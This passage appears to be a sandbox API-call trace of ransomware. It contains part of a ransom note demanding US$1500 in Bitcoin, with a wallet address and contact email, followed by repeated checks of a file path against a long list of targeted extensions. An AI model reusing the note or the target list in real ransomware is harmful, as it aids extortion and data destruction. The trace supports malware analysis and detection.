double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0103.094] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0103.096] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0103.096] CloseHandle (hObject=0x90) returned 1 [0103.096] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\", lpString2="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll" [0103.096] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.ems") returned 0 [0103.096] lstrlenA (lpString="*.ems") returned 5 [0103.096] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.db") returned 0 [0103.096] lstrlenA (lpString="*.db") returned 4 [0103.096] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.dbf") returned 0 [0103.097] lstrlenA (lpString="*.dbf") returned 5 [0103.097] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.myox") returned 0 [0103.097] lstrlenA (lpString="*.myox") returned 6 [0103.097] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.myo") returned 0 [0103.097] lstrlenA (lpString="*.myo") returned 5 [0103.097] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbw") returned 0 [0103.097] lstrlenA (lpString="*.qbw") returned 5 [0103.097] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbb") returned 0 [0103.097] lstrlenA (lpString="*.qbb") returned 5 [0103.097] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbm") returned 0 [0103.097] lstrlenA (lpString="*.qbm") returned 5 [0103.097] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbo") returned 0 [0103.098] lstrlenA (lpString="*.qbo") returned 5 [0103.098] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbx") returned 0 [0103.098] lstrlenA (lpString="*.qbx") returned 5 [0103.098] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.qba") returned 0 [0103.098] lstrlenA (lpString="*.qba") returned 5 [0103.098] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.qby") returned 0 [0103.098] lstrlenA (lpString="*.qby") returned 5 [0103.098] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbj") returned 0 [0103.098] lstrlenA (lpString="*.qbj") returned 5 [0103.098] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.ofx") returned 0 [0103.098] lstrlenA (lpString="*.ofx") returned 5 [0103.098] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.qif") returned 0 [0103.098] lstrlenA (lpString="*.qif") returned 5 [0103.098] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.mye") returned 0 [0103.099] lstrlenA (lpString="*.mye") returned 5 [0103.099] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.mbox") returned 0 [0103.099] lstrlenA (lpString="*.mbox") returned 6 [0103.099] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0103.099] lstrlenA (lpString="*.eml") returned 5 [0103.099] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.pst") returned 0 [0103.099] lstrlenA (lpString="*.pst") returned 5 [0103.099] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.ost") returned 0 [0103.099] lstrlenA (lpString="*.ost") returned 5 [0103.099] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.idx") returned 0 [0103.099] lstrlenA (lpString="*.idx") returned 5 [0103.099] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.dbx") returned 0 [0103.099] lstrlenA (lpString="*.dbx") returned 5 [0103.099] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.sql") returned 0 [0103.099] lstrlenA (lpString="*.sql") returned 5 [0103.099] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.mdb") returned 0 [0103.099] lstrlenA (lpString="*.mdb") returned 5 [0103.099] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.fdb") returned 0 [0103.099] lstrlenA (lpString="*.fdb") returned 5 [0103.100] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.wab") returned 0 [0103.100] lstrlenA (lpString="*.wab") returned 5 [0103.100] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.dat") returned 0 [0103.100] lstrlenA (lpString="*.dat") returned 5 [0103.100] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.txt") returned 0 [0103.100] lstrlenA (lpString="*.txt") returned 5 [0103.100] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.jpeg") returned 0 [0103.100] lstrlenA (lpString="*.jpeg") returned 6 [0103.100] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.jpg") returned 0 [0103.100] lstrlenA (lpString="*.jpg") returned 5 [0103.100] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.png") returned 0 [0103.100] lstrlenA (lpString="*.png") returned 5 [0103.100] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.php") returned 0 [0103.100] lstrlenA (lpString="*.php") returned 5 [0103.100] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.cs") returned 0 [0103.100] lstrlenA (lpString="*.cs") returned 4 [0103.100] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.cpp") returned 0 [0103.101] lstrlenA (lpString="*.cpp") returned 5 [0103.101] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.rar") returned 0 [0103.101] lstrlenA (lpString="*.rar") returned 5 [0103.101] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.zip") returned 0 [0103.101] lstrlenA (lpString="*.zip") returned 5 [0103.101] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.html") returned 0 [0103.101] lstrlenA (lpString="*.html") returned 6 [0103.101] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.htm") returned 0 [0103.101] lstrlenA (lpString="*.htm") returned 5 [0103.101] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.xlsx") returned 0 [0103.101] lstrlenA (lpString="*.xlsx") returned 6 [0103.101] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.xls") returned 0 [0103.101] lstrlenA (lpString="*.xls") returned 5 [0103.101] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.mp4") returned 0 [0103.101] lstrlenA (lpString="*.mp4") returned 5 [0103.101] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.ppt") returned 0 [0103.101] lstrlenA (lpString="*.ppt") returned 5 [0103.101] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.pptx") returned 0 [0103.101] lstrlenA (lpString="*.pptx") returned 6 [0103.102] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.doc") returned 0 [0103.102] lstrlenA (lpString="*.doc") returned 5 [0103.102] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.dot") returned 0 [0103.102] lstrlenA (lpString="*.dot") returned 5 [0103.102] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.docx") returned 0 [0103.102] lstrlenA (lpString="*.docx") returned 6 [0103.102] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.7z") returned 0 [0103.102] lstrlenA (lpString="*.7z") returned 4 [0103.102] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.tar") returned 0 [0103.102] lstrlenA (lpString="*.tar") returned 5 [0103.102] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.bz2") returned 0 [0103.102] lstrlenA (lpString="*.bz2") returned 5 [0103.102] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.gz") returned 0 [0103.102] lstrlenA (lpString="*.gz") returned 4 [0103.102] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.mkv") returned 0 [0103.102] lstrlenA (lpString="*.mkv") returned 5 [0103.102] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0103.102] lstrlenA (lpString="*.eml") returned 5 [0103.103] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.msg") returned 0 [0103.103] lstrlenA (lpString="*.msg") returned 5 [0103.103] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.edb") returned 0 [0103.103] lstrlenA (lpString="*.edb") returned 5 [0103.103] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.accdb") returned 0 [0103.103] lstrlenA (lpString="*.accdb") returned 7 [0103.103] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.odb") returned 0 [0103.103] lstrlenA (lpString="*.odb") returned 5 [0103.103] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.java") returned 0 [0103.103] lstrlenA (lpString="*.java") returned 6 [0103.103] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.asm") returned 0 [0103.103] lstrlenA (lpString="*.asm") returned 5 [0103.103] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.pfx") returned 0 [0103.103] lstrlenA (lpString="*.pfx") returned 5 [0103.103] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.pem") returned 0 [0103.104] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.p12") returned 0 [0103.104] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.gpg") returned 0 [0103.104] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.vsd") returned 0 [0103.104] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.odg") returned 0 [0103.104] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.raw") returned 0 [0103.104] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.nef") returned 0 [0103.104] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.svg") returned 0 [0103.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.psd") returned 0 [0103.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.vmx") returned 0 [0103.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.vmdk") returned 0 [0103.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.vdi") returned 0 [0103.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.lay6") returned 0 [0103.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.mpeg") returned 0 [0103.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.djvu") returned 0 [0103.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.tiff") returned 0 [0103.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.backup") returned 0 [0103.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.pdf") returned 0 [0103.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.cert") returned 0 [0103.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.docm") returned 0 [0103.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.xlsm") returned 0 [0103.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.dwg") returned 0 [0103.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.nd") returned 0 [0103.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.tlg") returned 0 [0103.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.lgb") returned 0 [0103.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.mov") returned 0 [0103.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.xdw") returned 0 [0103.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.ods") returned 0 [0103.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\8c6bac317f75b51647ea3a8da141b143\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.wav") returned 0 [0103.107] PathMatchSpecA 